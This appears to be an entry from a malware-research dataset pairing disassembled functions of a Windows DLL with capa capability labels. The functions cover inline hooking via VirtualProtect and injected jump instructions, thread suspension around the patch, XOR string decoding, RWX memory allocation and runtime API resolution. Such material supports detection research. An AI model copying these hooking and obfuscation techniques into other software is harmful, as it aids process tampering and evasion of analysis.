joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013df0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e590
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov byte [0x10ad001a], 0
mov ebx, 0xff
test esi, esi
jne 0x10013e63
mov ecx, 0x5f
xor eax, eax
mov dl, byte [eax + 0x10044dc4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x2c], dl
inc eax
and ecx, ebx
cmp eax, 0x17
jb 0x10013e34
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.100043e0
mov dword [ebp - 4], 0xffffffff
push ebx
lea eax, [ebp - 0x30]
push 0x1d
push eax
mov eax, esi
mov dword [ebp - 0x30], 0xcccccccc
mov dword [ebp - 0x2c], 0xcccccccc
mov dword [ebp - 0x28], 0x8904ff8b
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], 0x8ff8bff
mov dword [ebp - 0x1c], 0xffffff89
mov dword [ebp - 0x18], 0xff8bffff
mov byte [ebp - 0x14], 0xc
call fcn.10004090
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10013f04
mov dword [0x10acf954], 0x70
call fcn.10020930
lea edi, [esi + 8]
mov ecx, edi
call fcn.10020980
call fcn.10020b20
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x38]
push ecx
push 0x40
push 5
push edi
call esi
mov eax, 0x1000dbd0
sub eax, edi
sub eax, 5
lea edx, [ebp - 0x3c]
push edx
mov dword [edi + 1], eax
mov eax, dword [ebp - 0x38]
push eax
push 5
push edi
mov byte [edi], 0xe9
call esi
mov byte [0x10ad001a], 1
jmp 0x10013f38
mov ecx, 0x67
xor eax, eax
jmp 0x10013f10
mov dl, byte [eax + str.____1M]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, ebx
cmp eax, 0x21
jb 0x10013f10
mov byte [ebp - 0x13], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 1
call fcn.100043e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10015ba0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e3b7
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004a650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x10044fb8
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.10001690
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.1001af20
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10015c33
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.10001550
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.10018ca0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x10acfff0]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100177c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003db48
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x100178e1
cmp byte [edi + 0x49], bl
je 0x100178e1
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x100178d5
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10017835
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x1001784d
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x10017876
dec eax
je 0x1001787a
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x100178d0
jmp 0x100178dc
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x1001788a
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x100178b3
cmp ebx, 0x10
jae 0x10017899
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.100243d5
add esp, 0x10
cmp esi, eax
jne 0x100178cd
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x100178d9
test esi, esi
jne 0x10017841
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10016bf0
jmp 0x1001783b
lea ecx, [ebp - 0x2c]
call fcn.10014f00
xor al, al
jmp 0x100178e3
lea ecx, [ebp - 0x2c]
call fcn.10014f00
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10018ca0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d9cb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004a650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.100216d2
push 4
mov dword [ebp - 4], 0
call fcn.10024a58
mov edi, eax
add esp, 4
test edi, edi
je 0x10018d20
call fcn.100214cd
mov dword [edi], eax
call fcn.1002128c
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10021693
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10018d16
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.100216bb
jmp 0x10018d22
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001ce50
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xdd
xor ecx, ecx
jmp 0x1001ce60
mov al, byte [edi + ecx - 0x6db8ad5e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001ce60
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001d130
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x1001d140
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x1001d140
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x1001d160
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x1001d170
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x1001d170
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x1001d260
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf3
xor ecx, ecx
jmp 0x1001d270
mov al, byte [edi + ecx - 0x2b8b1aec]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x1001d270
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001d290
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xae
xor ecx, ecx
jmp 0x1001d2a0
mov al, byte [edi + ecx - 0x37b821da]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xe
jb 0x1001d2a0
mov byte [esi + 0xe], 0
mov eax, esi
ret
Function at 0x1001d2c0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 6
xor ecx, ecx
jmp 0x1001d2d0
mov al, byte [edi + ecx - 0x58ac7a1c]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001d2d0
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001d2f0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x34
xor ecx, ecx
jmp 0x1001d300
mov al, byte [edi + ecx + 0x32593faf]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001d300
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001d320
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x15
xor ecx, ecx
jmp 0x1001d330
mov al, byte [edi + ecx + 0x43f2140e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001d330
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001d5b0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xd9
xor ecx, ecx
jmp 0x1001d5c0
mov al, byte [edi + ecx - 0x1a2e1036]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xd
jb 0x1001d5c0
mov byte [esi + 0xd], 0
mov eax, esi
ret

Function at 0x1001d5e0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 1
xor ecx, ecx
jmp 0x1001d5f0
mov al, byte [edi + ecx + 0x3ed419b4]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xb
jb 0x1001d5f0
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x1001d6a0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xe8
xor ecx, ecx
jmp 0x1001d6b0
mov al, byte [edi + ecx + 0x3566316e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x2a
jb 0x1001d6b0
mov byte [esi + 0x2a], 0
mov eax, esi
ret

Function at 0x1001d860
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xab
xor ecx, ecx
jmp 0x1001d870
mov al, byte [edi + ecx - 0x7b84b047]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x12
jb 0x1001d870
mov byte [esi + 0x12], 0
mov eax, esi
ret

Function at 0x1001db80
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xef
xor ecx, ecx
jmp 0x1001db90
mov al, byte [edi + ecx - 0x20ea7df6]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x43
jb 0x1001db90
mov byte [esi + 0x43], 0
mov eax, esi
ret

Function at 0x1001dbb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x46
xor ecx, ecx
jmp 0x1001dbc0
mov al, byte [edi + ecx - 0x11021866]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1c
jb 0x1001dbc0
mov byte [esi + 0x1c], 0
mov eax, esi
ret

Function at 0x1001dbe0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x59
xor ecx, ecx
jmp 0x1001dbf0
mov al, byte [edi + ecx - 0xe7a4c7f]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001dbf0
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001dc10
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xaa
xor ecx, ecx
jmp 0x1001dc20
mov al, byte [edi + ecx + 0x36b371d1]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x17
jb 0x1001dc20
mov byte [esi + 0x17], 0
mov eax, esi
ret
Function at 0x1001dc40
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x54
xor ecx, ecx
jmp 0x1001dc50
mov al, byte [edi + ecx + 0x7b8009b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001dc50
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001fbc0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x10ad11dc]
push esi
xor esi, esi
cmp eax, esi
je 0x1001fbdb
lea esp, [esp]
cmp dword [eax + 4], esi
jne 0x1001fc23
mov eax, dword [eax]
cmp eax, esi
jne 0x1001fbd0
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x1001fc23
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
nop
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x1001fc00
mov ecx, dword [0x10ad11dc]
mov dword [eax], ecx
mov dword [0x10ad11dc], eax
pop esi
ret
Function at 0x100205c0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100206a4
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1002069d
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [ebp - 0x20], 0x10
jb 0x10020682
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10020682
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10020682
mov eax, dword [esi]
test eax, eax
jne 0x10020647
mov ecx, dword [0x10acfb4c]
push 0x200
push eax
push ecx
mov dword [esi + 4], 0x80
call edi
mov dword [esi], eax
test eax, eax
je 0x1002069c
jmp 0x10020674
mov ecx, dword [esi + 4]
cmp dword [esi + 8], ecx
jb 0x10020674
lea edx, [ecx*8]
push edx
push eax
mov eax, dword [0x10acfb4c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1002069c
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi + 4], ecx
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x18]
mov dword [eax + edx*4], ecx
inc dword [esi + 8]
lea edx, [ebp - 0x20]
push edx
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10020607
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret

Function at 0x100206c0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call fcn.100205c0
cmp dword [esi], ebx
je 0x1002071b
cmp dword [esi + 8], ebx
jbe 0x1002071b
push edi
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10020714
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
push edi
call fcn.10020460
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x100206e0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10020720
Capabilities:
Resume thread

Disassembly:
cmp dword [ebx], 0
je 0x1002076d
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x1002075b
push esi
mov edi, edi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10020754
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebx + 8]
jb 0x10020730
pop esi
mov edx, dword [ebx]
mov eax, dword [0x10acfb4c]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret
Function at 0x10020770
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
imul esi, esi, 0x2c
add esi, dword [0x10ad11d0]
push edi
test byte [esi + 0x14], 1
mov edi, dword [esi]
mov ebx, 5
je 0x10020796
sub edi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100207b4
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov ecx, dword [esi + 4]
sub ecx, edi
sub ecx, 5
mov dword [edi + 1], ecx
test byte [esi + 0x14], 1
je 0x100207cf
mov eax, dword [esi]
mov word [eax], 0xf9eb
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020800
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x10ad11d8]
push esi
xor edx, edx
xor esi, esi
mov dword [ebp - 4], edx
test ecx, ecx
je 0x100208d5
mov eax, dword [0x10ad11d0]
push ebx
add eax, 0x14
mov bl, 2
test byte [eax], bl
je 0x1002083b
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x10020827
pop ebx
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x10020833
push edi
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
call fcn.100206c0
add esp, 8
cmp esi, dword [0x10ad11d8]
jae 0x10020885
mov edi, esi
imul edi, edi, 0x2c
lea ecx, [ecx]
mov eax, dword [0x10ad11d0]
test byte [edi + eax + 0x14], bl
jne 0x10020879
mov eax, esi
call fcn.10020770
mov dword [ebp - 4], eax
test eax, eax
jne 0x10020885
inc esi
add edi, 0x2c
cmp esi, dword [0x10ad11d8]
jb 0x10020860
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100208cb
xor edi, edi
cmp dword [ebp - 8], edi
jbe 0x100208bb
mov ecx, dword [ebx + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x100208b5
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebp - 8]
jb 0x10020893
mov edx, dword [0x10acfb4c]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1002206c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004a650]
jne 0x10022076
repz ret
jmp fcn.10028328

Function at 0x1002d184
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x1002d1ab
call fcn.10024daa
mov dword [eax], esi
call fcn.10024d97
push 0x16
pop esi
mov dword [eax], esi
call fcn.100289a4
mov eax, esi
jmp 0x1002d200
test dword [ebp + 0xc], 0xfffffff9
jne 0x1002d191
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1002d1d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10024dbd
pop ecx
call fcn.10024d97
mov eax, dword [eax]
jmp 0x1002d200
test al, 0x10
jne 0x1002d1fe
test al, 1
je 0x1002d1fe
test byte [ebp + 0xc], 2
je 0x1002d1fe
call fcn.10024daa
mov dword [eax], 5
call fcn.10024d97
mov dword [eax], 0xd
jmp 0x1002d1cf
xor eax, eax
pop esi
pop ebp
ret
Function at 0x1003595b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1002a55d
and dword [ebp - 0x14], 0
cmp dword [0x101adc88], 0
mov dword [ebp - 0x18], eax
jne 0x10035a0e
push 0x10042e64
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10035ab6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10042e58
push ebx
call edi
test eax, eax
je 0x10035ab6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x10042e48
push ebx
mov dword [0x101adc88], eax
call edi
push eax
call esi
push 0x10042e34
push ebx
mov dword [0x101adc8c], eax
call edi
push eax
call esi
push 0x10042e18
push ebx
mov dword [0x101adc90], eax
call edi
push eax
call esi
mov dword [0x101adc98], eax
test eax, eax
je 0x10035a0e
push 0x10042e00
push ebx
call edi
push eax
call esi
mov dword [0x101adc94], eax
mov eax, dword [0x101adc94]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10035a67
cmp dword [0x101adc98], ecx
je 0x10035a67
push eax
call esi
push dword [0x101adc98]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10035a67
test ebx, ebx
je 0x10035a67
call edi
test eax, eax
je 0x10035a5e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10035a5e
test byte [ebp - 8], 1
jne 0x10035a67
or dword [ebp + 0x10], 0x200000
jmp 0x10035a9a
mov eax, dword [0x101adc8c]
cmp eax, dword [ebp - 0x18]
je 0x10035a9a
push eax
call esi
test eax, eax
je 0x10035a9a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10035a9a
mov eax, dword [0x101adc90]
cmp eax, dword [ebp - 0x18]
je 0x10035a9a
push eax
call esi
test eax, eax
je 0x10035a9a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x101adc88]
call esi
test eax, eax
je 0x10035ab6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10035ab8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
leave
ret